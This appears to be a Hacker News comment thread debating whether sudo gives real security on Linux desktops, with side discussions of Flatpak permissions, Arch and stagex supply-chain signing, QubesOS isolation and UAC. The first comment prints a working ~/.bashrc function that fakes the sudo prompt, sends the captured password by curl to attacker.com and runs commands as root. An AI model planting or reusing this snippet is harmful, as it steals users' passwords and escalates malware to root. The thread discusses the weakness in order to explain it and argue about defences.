To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.
Malware just need to put this in ~/.bashrc and wait:
function sudo () {
realsudo=$(which sudo)
read -r -s -p "[sudo] password for $USER: " password
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1
$realsudo "${@:1}"
}
Desktop alternative to most uses of sudo: Polkit[1]. For a UAC style prompt, see AeroShell[2].
However, one still SHOULD NOT allow untrusted software arbitrary read/write access to their $HOME, even on a completely secure (and thus, imaginary) OS. No reason why every App X should have access to the files of every App Y.
1: https://wiki.archlinux.org/title/Polkit
2: https://github.com/aeroshell-desktop/uac-polkit-agent
Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""
I don't think flatpak allows access to hidden files so even those with access $HOME cannot do this.
Flatpak uses Portals to let the user grant access to different files/directories, apparently they don't have access by default: https://docs.flatpak.org/en/latest/sandbox-permissions.html
I was also unable to find any Flatpak that has access to the home directory when installed, you may well be right but I couldn't find any. I used Flatseal to verify the permissions: https://flathub.org/en/apps/com.github.tchx84.Flatseal
I'm also of the opinion that we generally shouldn't use software that we don't absolutely trust. That has kept my .bashrc (and other files) safe so far.
To be fair it's possible the situation has changed since I last checked. But at least it used to be this way (https://flatkill.org/2020/). I'm glad the situation has improved in terms of security, but I'm still not a big fan of the flatpak design as a whole.
But if an attacker can put arbitrary code into your .bashrc, you are already executing arbitrary malicious code.
Same if an attacker can run arbitrary docker commands.
but not as root
Yep, but pretty much every single piece of software you've installed on your system can read and write files to your home directory in a silent way without root, and that's where your most important files are on a desktop machine (API tokens, secrets, client projects, etc.).
I have my own opinionated Arch / niri set up and there's 1155 packages installed. That's 1155 opportunities for a package to be compromised. This is also why I try very hard to avoid the AUR and only use it as a last resort (I use 2 packages from it). It doesn't guarantee safety but the official Arch package repos do seem to have more checks and bounds vs the AUR.
Arch at least mandates author signed packages which is unfortunately rare these days, but keys do not need to be on smartcards, and code review is not enforced. You compromise the right arch maintainer and you could do some real damage.
Arch is second only to Guix in terms of supply chain security for desktop distributions, but both still have a threat model that cannot tolerate a single laptop compromise.
Stay tuned for stagex for workstations. https://stagex.tools
I do know some of the arch maintainers (e.g. dvzrv IIRC) are working on build infrastructure that would completely automate the build process and HSM signing to separate read-only images on build servers[0, 1, 2]. I haven't heard about updates to buildbtw in a while, but development seems still somewhat active and signstar is mentioned now and then at some conferences. It feels like it is not making any progress, but I don't pay any attention to the development, so it is likely just my perception of it just having been waiting on visible process to it and not seeing it.
[0]: https://gitlab.archlinux.org/archlinux/signstar
[1]: https://gitlab.archlinux.org/archlinux/signstar-os
[2]: https://gitlab.archlinux.org/archlinux/buildbtw
I am aware of their work, and while this is better than the status quo, it does even come close to my threat model of "trust no single computer or machine" which is what I must support.
Sudo isn't security theater when used for what it was designed for. It's useless for constraining apps you run as your own user ID.
I challenge anyone to name even one thing that requires sudo on a Linux desktop not better handled with systemd user units, Linux Capabilities, rootless docker, etc.
How would you install packages (or update the kernel)?
For root filesystems I am recently favoring EROFS which is read only, fast, and can run from ram.
On workstations I install almost all software to ~/.local as the home partition is writable. I also put all my systemd user units there, so I can run any binaries I compile as a system service to survive reboots as I like all without root.
The system root partition should contain a kernel, init system, and run any essential shared services unprivileged and fully/mostly stateless. Given that, I like to compile them all into a single UEFI uki image that contains efi shim, kernel, init all in a single binary that lives in the FAT32 UEFI partition.
The only reason to touch it is when you need to update your init system or kernel, which were always going to require a reboot anyway unless you get really creative with kexec. In an ideal situation the uki bundle is so generic that it is built deterministically in multiple locations and signed with a secure boot key. Then you can just straight up allow users to write to the boot partition, knowing any unsigned image that is not newer than the current one will be detected and also not allow access to the encrypted disk. The permission for that one update path can and should be external, and the result of a deterministic build matching a known hash, so you can prove it is not compromised. This could of course be automated by a distro with a UEFI wrapper or coreboot so users with no desire to customize their kernels do not have to think about it.
I am pursuing these ideas in stagex, first for secure enclaves and servers where we need it most, then for desktop. Until then Qubes is the least bad option.
To summarize:
stickynotememo: "How would you install packages (or update the kernel)?"
You: «You'd use sudo or su (of course) but I'm going to distract you from that with an advertisement for the work I'm doing on my personal project!» [0]
But, perhaps I misunderstood what you wrote. So... I'll ask stickynotememo's question in a different way:
If the answer is something like "I'd rebuild the read-only root partition with the new code.", then I ask:
Please keep your answers concise.
[0] Personal projects are great, and I strongly encourage them. However, the way you've answered is what a greybeard would describe as "pulling a fast one". Pulling a fast one does not earn trust.
I am not convinced you processed what I wrote, but I will attempt to answer your questions anyway because they will aid me in writing docs later.
> 1) How does the data in that root partition get rebuilt? If it's on another computer, how does one control access to the root-partition-rebuild computer?
If they use an official one published by their distro, then it is likely sufficient that it is signed by a key in a multi-party-controlled remotely attestable secure enclave controlled by the distro team, which only does so in exchange for multiple signatures from independently controlled secure enclaves that produce deterministic artifacts. The key could be backed up and restored across enclave updates using shamir secret sharing so no single engineer gets the key but they can cooperate to provide it to an enclave.
Of course this scheme to avoid trust in any single human or machine in the linux distribution supply chain only works if you happen to have a deterministic full source bootstrapped linux distribution that has strong multi-party security controls (like stagex, my "personal project", protecting hundreds of billions of dollars in fintech infrastructure right now)
> 2) How does one instruct the user's computer to use that newly-rebuilt root partition? How does one control access to the system that permits one to load a new root partition and/or change which root partition to use?
If the high trust supply chain signed UKI builds are a thing, per question one, then life gets easy here.
On first install a user would be forced to enable secure boot enrolling the linux distro signing keys, and the installer would encrypt their hard drive to that secure boot state via TPM PCRs.
Now, even though the user-accessible portion of the OS is entirely unprivileged, the user can be trusted to download new signed UKI images and place them in an update search path. Now on reboot the update will be seen, verified newer, and could be kexeced to. If it boots successfully past the uki image, a hook will cause it to move the old image to a backup file and replace with the new one, then reboot properly. Secure boot sigs pass, image is newer than old image, TPM policies pass, and disk can be decrypted. All automated.
> 3) How does a user recover when an update fails or is faulty in a way that your smoke tests didn't catch?
If the kexec test fails to boot to the hook and drops a crashlog, then the original still-unmodified UKI image stays in place, will see the crashlog, and then boot normally and warn the user about the failed update and offer to submit an Issue.
None of this is novel, though knowledge of it seems sadly rare. All can be done right now with existing FOSS, and many embedded Linux devices and servers use patterns like these. Especially in high security environments like fintech. Just configuration, admittedly a lot of it, which is what I am packaging and simplifying right now in stagex so it can be an opinionated default.
A related "Personal project": https://distrust.co/blog/enclaveos.html
> I am not convinced you processed what I wrote...
I did. There's at least one huge hole that the system -as described- seems to not account for:
> If they use an official [root partition] published by their distro, then it is likely sufficient that it is signed by a key in a multi-party-controlled ... enclave[.] Now, even though the user-accessible portion of the OS is entirely unprivileged, the user can be trusted to download new signed UKI images [from their upstream provider] ...
Distros often fail to preinstall all the software a user of a general-purpose computer needs. How does the user of this system add new system software to be used by every user of the system, rather than just the user who installed it? Suppose that the user wants to swap out the upstream-provided syslog daemon with rsyslog, or the user wants to install ghostscript for use by every user on the system... how is that done?
If the answer is something like "The user builds their own root image and signs it with keys that they manage, and then loads it into an update server that they control so their computer can automatically update to it.", then that's equivalent to using sudo with a ton of extra steps. If the answer is either "They use access control and elevation systems that means they're effectively root to augment the software load on the read-only '/'." or "Don't be daft, there's a single user on the system." well...
What mike_hearn said to you is also quite relevant:
> ...if all the apps that matter are installed to ~/.local then you're just removing the need to obtain root at all for most attacker priorities.
EDIT: There's another way a user can get new usable-by-all-users software on their root image: "Ask their upstream provider to add the software the user wants to the image and hope that they both accept the request and process it in a timely manner."... just like was done back in the days of glass teletypes, thin clients, and netbooted PCs. My recollection of (and participation in) a relevant slice of history might be why you think that I didn't "process" what you wrote. All that the system you describe seems to add is boot image signing... and I'm certain that ultra-paranoid sites have been doing that sort of thing for ages.
It's cool that you're experimenting, but if all the apps that matter are installed to ~/.local then you're just removing the need to obtain root at all for most attacker priorities.
A bit more than experimenting. I have designed several security hardened linux operating systems for major financial institutions.
There are many well established patterns for further segmenting user workloads, once far removed from real system root which is there is no good reason to expose. In my case each of those unprivileged apps runs in a dedicated virtual machine because I use QubesOS, though for many use cases gvisor or even containers (user namespaces) would get the job done with less overhead.
gvisor in particular helps you further reduce attack surface for root. It is possible to have your baremetal kernel not even have network support compiled in, and delegate all networking entirely to user-space inside gvisor.
But very few people are using their systems in ways that fit the Unix security model, which was designed for multi-user mainframes with only trustworthy software.
Nit: Unix was designed for multi-user minicomputers.
When Unix was designed, the smallest computer anyone could buy was about the size of two of today's server racks and was called a minicomputer.
Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.
There is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities.
How do you update the kernel?
Idk why we need to use sudo to update kernel. In macos, we don't need sudo access?
You do need some root process to be able to write the updated kernel image to a root owned directory. On macos that is presumably their update daemon, while on something like ParticleOS[0] IIRC it is the systemd-sysupdated daemon, though I don't know if you can initiate the update as an unprivileged user or if its done on a timer or only root initiated (sysupdate has had a lot of changes not too long ago that reworked it extensively. It use to be something only root invoked transiently with a possible timer to "update all", but now it has a full on daemon).
Basically the reason we "need sudo access" (or anything to elevate privs to root) is because how the system is architected and changing that is mostly only possible on new distros which can decide to change the architecture.
[0]: https://github.com/systemd/particleos
See my reply here: https://news.ycombinator.com/item?id=49504775
Just don't be in the sudo group.
So the solution is to make your computer basically unusable. I guess that's one way to secure things.
On a modern Linux system you do not need sudo to compile software, install it, or even run it as an unprivileged system service in a User Namespace bound to port 22 (if you give your user the correct Linux Capabilities).
The only thing you cannot do as an unprivileged user is update kernels, but that requires a reboot anyway and the risk of letting an unprivileged user do that is mitigated with hardware enforced secure boot.
Most distros are holding onto 90s designs that are very hard to change once established.
Did you actually try or are you provocatively speculating?
I do have non sudoers groups devices and I also have shared devices with non sudoers users. It works. It's not necessarily for everyone, e.g. not for powerusers who want to go fast very often, but it's definitely usable for most users still.
But what exactly are you protecting then?
Linux root/regular-user model comes from an ancient time with multi-user architecture where you defended against one user taking over a big machine they didn't own.
But today on personal computers all the good stuff is inside regular users accounts, and there is nothing valuable to be gained by becoming root.
So the whole security model is broken, it protects the OS system files that nobody cares about, while allowing any piece of software complete access to valuable user files.
Well you of course want to sub-divide every application in user space either with gvisor or a hypervisor, like QubesOS.
If someone pwns your personal browser they should pop out into an environment where nothing exists but that browser, with no idea the work browser is in a sibling vm.
on Windows the UAC (GUI sudo equivalent) requires actual user input (keyboard, mouse) on a dialog presented in a secure way (can't be faked by malware)
Windows and Mac each have well thought through and secure solutions to these problems. It just doesn't exist on Linux without serious sacrifice of UX.
UAC is only a sudo equivalent when running under a non-admin user account, at which point it's nearly as convenient to simply run admin commands from a command prompt running as a separate user, or a separate desktop session entirely.
The Desktop Linux equivalent to that would be Polkit.
Psst. There's also this, in typical KDE style: https://github.com/aeroshell-desktop/uac-polkit-agent
Funnily enough it wouldn't work for me as I use passwordless sudo thanks to PAM-U2F with a YubiKey Bio. I mean realistically speaking it probably would as I would just type it thinking "Hmmm weird" but still want to proceed forward ¯\_ (ツ)_/¯
Of course this style of attack would work on you. Attacker has the sudo wrapper that hooks your next yubikey tap to running any payload they want as root.
Your solution helps mitigate hardware keyloggers, which is great, but for malware in your home directory, it offers no advantages.
I'm missing something then, are you talking about the code your shared or an another slightly more complicated one you are just imagining now?
A 3 line change to my above code would do for your case. Obviously that is not production ready malware, it is just a minimum viable example for the most common target.
You type "sudo" and it runs an unprivileged sudo wrapper, and prepends your sudo command and runs real sudo. You tap, and your intended command runs as root alongside the attackers command.
You need a separate trusted OS to do privileged workflows from. Your setup would be effective if you were using an OS built for that kind of thing like QubesOS.
In my setup every app runs in a dedicated VM with a fake proxy smartcard, that routes to a real nitrokey in a hardware isolated and offline VM. That offline VM can be like "do you want to authorize a tap for aws.amazon.com" and I can be like "not today malware. I asked to login to doordash. nice try"
What? Why is sudo security theater?
Because it is trivial for unprivileged malware to phish the password and escalate to root. No production system should ever ship with sudo.
You do realize you can do the exact same thing on macOS? Just alias sudo to whatever you want. BSD I assume you can do the same with doas.
No desktop system is safe from your attack, unless you take specific precautions like chattr on the file or chmodding your home directory, but that can lead to weird breakage.
No popular Linux desktop, I would grant you. I use QubesOS and my own distro, stagex.
TIL. Thanks for your input into how sudo might not be super secure on systems already dribbling with malware.
You basically don’t use sudo on macOS though. Maybe once in a blue moon
You're making a big assumption about how other people use their computers. If you're running mostly desktop applications on Linux, you wouldn't use sudo much either. And if anything, I use sudoish-to-actual-rootlike on Windows more than on Linux, because more things are gated behind elevated privileges (some papered over by default UAC settings, but only when manipulated through built-in GUI tools) and there's nothing as simple as Distrobox and rootless Podman to set up isolated non-root environments.
Any user process can append anything they want to your shell rc (.bashrc, .zshrc). In this case, they added a bash function for a fake sudo prompt. It then uses the password the user entered to run a malicious payload as root.
If you're running a malicious user process with write (or read) access to your files, you are arguably already compromised.
The freaking point is that basically anything worth running will have that amount of access, even Flatpaks. And you don't freaking know what's malicious before hand.
I think that depends on your point of view. I wouldn't run a program on my computer unless I were sure that it's not malicious. And if you mean that some program I already trust could be exploited, that's true even for the Linux kernel or any sandbox / security solution you would come up with. I'm not denying that there's always a risk, but there's nothing good in running arbitrary code that you can't trust.
Exactly the point. You are already fully compromised, sudo adds no security.
It’s not, but the grandparent does point out 1 major flaw with sudo being a typically command that goes through normal path discovery. It makes it easier to escalate from a compromised user account to a compromised root account, since the end user is likely to type the root password into a command that can be shadowed in their user space.
You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.
Look at the excerpt. They're not overwriting the sudo binary. The attack vector is real for malware running on a administrator user session which can be escalated to root via sudo.
It's a niche, but it's real. Esp. if you're targeting npm installed user scripts or similar
No, the above attack writes that function into bashrc, meaning the next time the user runs sudo themselves, you harvest their password.
> You need root in order to overwrite sudo in the first place I think
You just need write access to .bashrc or similar.
> This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges.
Unprivileged malware will be waiting with a root payload ready to fire the next time you tap your yubikey.
You do not need root to run that shell function, nor to get it loaded into a shell's environment.
They didn't say anything about overwriting the sudo binary, and that is not required, which I think was their whole point was to show exactly how that is not required.